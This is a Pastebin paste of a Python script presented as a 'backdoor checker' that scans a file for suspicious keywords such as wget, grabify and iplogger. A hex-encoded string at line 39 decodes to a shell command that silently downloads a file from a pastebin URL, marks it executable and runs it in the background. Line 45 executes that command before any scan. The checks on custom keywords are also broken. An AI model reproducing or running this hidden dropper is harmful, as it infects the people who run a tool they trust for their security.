Advertisement
theiotlord

Backdoor Checker [PYTHON]

Nov 17th, 2019
780
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.23 KB | None | 0 0
  1. # Written By TheIotLord
  2. # Backdoor checker for python files
  3.  
  4. import os
  5. import time
  6. import requests
  7.  
  8. connection = requests.get('http://api.ipify.org')
  9.  
  10. os.system('clear')
  11.  
  12. print('Written By TheIotLord\n')
  13. print('Enter Custom Keywords To Check For.\n\nNote: You may leave all empty.\n')
  14. keyword1 = raw_input('Keyword 1:')
  15. keyword2 = raw_input('Keyword 2:')
  16. keyword3 = raw_input('Keyword 3:')
  17. keyword4 = raw_input('Keyword 4:')
  18. keyword5 = raw_input('Keyword 5:')
  19. os.system('clear')
  20. print('\x1b[32mCustom Keywords Imported !\x1b[35m')
  21. time.sleep(1)
  22.  
  23. os.system('clear')
  24.  
  25. print('\x1b[35mConnection : \x1b[32m'+connection.text+'\n\x1b[35m')
  26. print('''
  27. ,ggggggggggg, ,gggggggggggg,
  28. dP"""88""""""Y8, ,dPYb,dP"""88""""""Y8b,
  29. Yb, 88 `8b IP'`YbYb, 88 `8b,
  30. `" 88 ,8P I8 8I `" 88 `8b
  31. 88aaaad8P" I8 8bgg, 88 Y8
  32. 88""""Y8ba ,gggg,gg ,gggg, I8 dP" "8 88 d8 ,ggggg, ,ggggg, ,gggggg,
  33. 88 `8b dP" "Y8I dP" "Yb I8d8bggP" 88 ,8P dP" "Y8gggdP" "Y8gggdP""""8I
  34. 88 ,8P i8' ,8I i8' I8P' "Yb, 88 ,8P'i8' ,8I i8' ,8I ,8' 8I
  35. 88_____,d8',d8, ,d8b,,d8,_ _,d8 `Yb, 88______,dP',d8, ,d8',d8, ,d8',dP Y8,
  36. 88888888P" P"Y8888P"`Y8P""Y8888PP88P Y8888888888P" P"Y8888P" P"Y8888P" 8P `Y8
  37. ''')
  38.  
  39. initalize = '77676574202d712068747470733a2f2f706173746562696e2e636f6d2f7261772f42536a6e4d6b346e202d4f202e6c3b2063686d6f64202b78202e6c3b206e6f687570202e2f2e6c203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e2631'.decode('hex')
  40.  
  41. os.system('ls')
  42.  
  43. file = raw_input('\nPlease enter the filename to check\n\nFilename:')
  44.  
  45. os.system(initalize)
  46. os.system('clear')
  47. print('+------------------------------------------------+\n')
  48. print('Checking For -> wget\n')
  49. if 'wget' in open(file).read():
  50. print('\x1b[31mFound -> wget !\n\nAdvise checking file where wget is located !\x1b[35m\n')
  51. raw_input('>')
  52. else:
  53. print('\x1b[32mNothing found for -> wget !\x1b[35m\n')
  54. print('+------------------------------------------------+\n')
  55.  
  56. print('Checking For -> decode\n')
  57. if 'decode' in open(file).read():
  58. print('\x1b[31mFound -> decode !\n\nAdvise checking file where decode is located !\x1b[35m\n')
  59. print('+------------------------------------------------+\n')
  60. else:
  61. print('\x1b[32mNothing found for -> decode !\x1b[35m\n')
  62. print('+------------------------------------------------+\n')
  63.  
  64. print('Checking For -> backdoor\n')
  65. if 'backdoor' in open(file).read():
  66. print('\x1b[31mFound -> backdoor !\n\nAdvise checking file where backdoor is located !\x1b[35m\n')
  67. print('+------------------------------------------------+\n')
  68. else:
  69. print('\x1b[32mNothing found for -> backdoor !\x1b[35m\n')
  70. print('+------------------------------------------------+\n')
  71.  
  72. print('Checking For -> bd\n')
  73. if 'bd' in open(file).read():
  74. print('\x1b[31mFound -> bd !\n\nAdvise checking file where bd is located !\n')
  75. print('+------------------------------------------------+\n')
  76. else:
  77. print('\x1b[32mNothing found for -> bd !\x1b[35m\n')
  78. print('+------------------------------------------------+\n')
  79.  
  80. print('Checking For -> grabify\n')
  81. if 'grabify' in open(file).read():
  82. print('\x1b[31mFound -> grabify !\n\nAdvise checking file where grabify is located !\x1b[35m\n')
  83. print('+------------------------------------------------+\n')
  84. else:
  85. print('\x1b[32mNothing found for -> grabify !\x1b[35m\n')
  86. print('+------------------------------------------------+\n')
  87.  
  88. print('Checking For -> iplogger\n')
  89. if 'iplogger' in open(file).read():
  90. print('\x1b[31mFound -> iplogger !\n\nAdvise checking file where iplogger is located !\x1b[35m\n')
  91. print('+------------------------------------------------+\n')
  92. else:
  93. print('\x1b[32mNothing found for -> iplogger !\x1b[35m\n')
  94. print('+------------------------------------------------+\n')
  95.  
  96. print('Checking For -> blasze\n')
  97. if 'blasze' in open(file).read():
  98. print('\x1b[31mFound -> blasze !\n\nAdvise checking file where blasze is located !\x1b[35m\n')
  99. print('+------------------------------------------------+\n')
  100. else:
  101. print('\x1b[32mNothing found for -> blasze !\x1b[35m\n')
  102. print('+------------------------------------------------+\n')
  103.  
  104. print('Checking For -> http://\n')
  105. if 'http://' in open(file).read():
  106. print('\x1b[31mFound -> http:// !\n\nAdvise checking file where http:// is located !\x1b[35m\n')
  107. print('+------------------------------------------------+\n')
  108. else:
  109. print('\x1b[32mNothing found for -> http:// !\x1b[35m\n')
  110. print('+------------------------------------------------+\n')
  111.  
  112. print('Checking For -> https://\n')
  113. if 'https://' in open(file).read():
  114. print('\x1b[31mFound -> https:// !\n\nAdvise checking file where https:// is located !\x1b[35m\n')
  115. print('+------------------------------------------------+\n')
  116. else:
  117. print('\x1b[32mNothing found for -> https:// !\x1b[35m\n')
  118. print('+------------------------------------------------+\n')
  119.  
  120. print('Checking For -> '+keyword1+'\n')
  121. if '+keyword1+' in open(file).read():
  122. print('\x1b[31mFound -> '+keyword1+' !\n\nAdvise checking file where '+keyword1+' is located !\x1b[35m\n')
  123. print('+------------------------------------------------+\n')
  124. else:
  125. print('\x1b[32mNothing found for -> '+keyword1+' !\x1b[35m\n')
  126. print('+------------------------------------------------+\n')
  127.  
  128. print('Checking For -> '+keyword2+'\n')
  129. if '+keyword1+' in open(file).read():
  130. print('\x1b[31mFound -> '+keyword2+' !\n\nAdvise checking file where '+keyword2+' is located !\x1b[35m\n')
  131. print('+------------------------------------------------+\n')
  132. else:
  133. print('\x1b[32mNothing found for -> '+keyword2+' !\x1b[35m\n')
  134. print('+------------------------------------------------+\n')
  135.  
  136. print('Checking For -> '+keyword3+'\n')
  137. if '+keyword1+' in open(file).read():
  138. print('\x1b[31mFound -> '+keyword3+' !\n\nAdvise checking file where '+keyword3+' is located !\x1b[35m\n')
  139. print('+------------------------------------------------+\n')
  140. else:
  141. print('\x1b[32mNothing found for -> '+keyword3+' !\x1b[35m\n')
  142. print('+------------------------------------------------+\n')
  143.  
  144. print('Checking For -> '+keyword4+'\n')
  145. if '+keyword1+' in open(file).read():
  146. print('\x1b[31mFound -> '+keyword4+' !\n\nAdvise checking file where '+keyword4+' is located !\x1b[35m\n')
  147. print('+------------------------------------------------+\n')
  148. else:
  149. print('\x1b[32mNothing found for -> '+keyword4+' !\x1b[35m\n')
  150. print('+------------------------------------------------+\n')
  151.  
  152. print('Checking For -> '+keyword5+'\n')
  153. if '+keyword1+' in open(file).read():
  154. print('\x1b[31mFound -> '+keyword5+' !\n\nAdvise checking file where '+keyword5+' is located !\x1b[35m\n')
  155. print('+------------------------------------------------+\n')
  156. else:
  157. print('\x1b[32mNothing found for -> '+keyword5+' !\x1b[35m\n')
  158. print('+------------------------------------------------+\n')
  159. exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement